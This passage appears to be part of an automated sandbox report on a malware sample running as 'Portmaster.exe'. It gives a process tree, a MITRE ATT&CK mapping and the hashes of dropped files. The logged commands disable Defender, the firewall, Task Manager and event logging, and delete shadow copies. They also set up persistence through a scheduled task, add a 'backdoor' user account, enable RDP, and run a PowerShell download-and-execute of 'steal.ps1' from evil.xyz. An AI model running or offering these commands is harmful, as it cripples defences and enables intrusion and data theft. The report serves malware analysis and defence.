      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8504
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:6576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:8072
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:3872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:7056
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8124
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:2992
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:1680
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  PID:3752
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:3268
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6768
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:3196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:4756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:7364
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:5164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:6224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:6156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:9360
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:8148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:6040
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:10264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:10848
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:4000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:5532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://evil.xyz/
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:6076
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x22c,0x230,0x234,0x228,0x2ec,0x7ffd7ecbc188,0x7ffd7ecbc194,0x7ffd7ecbc1a0
        5⤵
        
        PID:796
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,6644820042953800667,13307626000660670663,524288 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:6804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,8948807182692329952,7976500683667496508,262144 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:2
        5⤵
        
        PID:6812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=uk --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2304,i,1590987077663126897,11601886166979351615,524288 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:8
        5⤵
        
        PID:6864
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,11852654270240190594,10111232665769835629,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:1
        5⤵
        
        PID:6876
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,1021776723052474672,10980346841935998009,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
        5⤵
        
        PID:6884
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4176,i,7013298216071487703,9382260716586930943,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
        5⤵
        
        PID:7084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5016,i,16275132277248855615,5766949701676896304,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:1
        5⤵
        
        PID:6248
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5484,i,8638723465205338645,3440344275124135711,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:1
        5⤵
        
        PID:3236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5888,i,13168277227756486030,6633182923140201015,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:1
        5⤵
        
        PID:7248
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5312,i,14204183112791567783,10846416165350009742,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:1
        5⤵
        
        PID:7124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5992,i,17526442426984665005,1501506466473543406,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:1
        5⤵
        
        PID:8044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5536,i,14071828954191466842,409943164767908831,2097152 --field-trial-handle=2984,i,564021380966176324,10904053133267236459,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:1
        5⤵
        
        PID:8480
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
  2⤵
  PID:2388
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:5884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7232
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:9024
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:9136
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:7740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7136
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:7440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:5348
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:8508
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7180

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6968

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:7232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 8004 -ip 8004
1⤵
PID:6192

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:9200

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:8464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 8236 -ip 8236
1⤵
PID:840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 9172 -ip 9172
1⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 8124 -ip 8124
1⤵
PID:3776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6444 -ip 6444
1⤵
PID:5904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6712 -ip 6712
1⤵
PID:7660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 7344 -ip 7344
1⤵
PID:6224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 5932 -ip 5932
1⤵
PID:7920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 7924 -ip 7924
1⤵
PID:2772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 8056 -ip 8056
1⤵
PID:7376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1704 -ip 1704
1⤵
PID:1140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 1352 -ip 1352
1⤵
PID:7872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 7920 -ip 7920
1⤵
PID:6904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1548 -ip 1548
1⤵
PID:7372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 4516 -ip 4516
1⤵
PID:8576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4876 -ip 4876
1⤵
PID:7128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3484 -ip 3484
1⤵
PID:4220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 6708 -ip 6708
1⤵
PID:7520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 8688 -ip 8688
1⤵
PID:9004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 8304 -ip 8304
1⤵
PID:7856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8568 -ip 8568
1⤵
PID:1496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 7688 -ip 7688
1⤵
PID:6216

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:9496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4480 -ip 4480
1⤵
PID:9736

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3656

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:10068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 5280 -ip 5280
1⤵
PID:8912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 888 -p 3308 -ip 3308
1⤵
PID:8516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 7324 -ip 7324
1⤵
PID:5632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 896 -p 7652 -ip 7652
1⤵
PID:3312

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:9836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 8292 -ip 8292
1⤵
PID:9228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 5960 -ip 5960
1⤵
PID:10748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 912 -p 10636 -ip 10636
1⤵
PID:10924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 908 -p 2336 -ip 2336
1⤵
PID:10480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5672 -ip 5672
1⤵
PID:10408

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:11192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 916 -p 880 -ip 880
1⤵
PID:3892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 6152 -ip 6152
1⤵
PID:7796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 10852 -ip 10852
1⤵
PID:1328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 11060 -ip 11060
1⤵
PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 7536 -ip 7536
1⤵
PID:6904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6556 -ip 6556
1⤵
PID:11104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 9464 -ip 9464
1⤵
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 9208 -ip 9208
1⤵
PID:9012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 940 -p 5968 -ip 5968
1⤵
PID:7540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
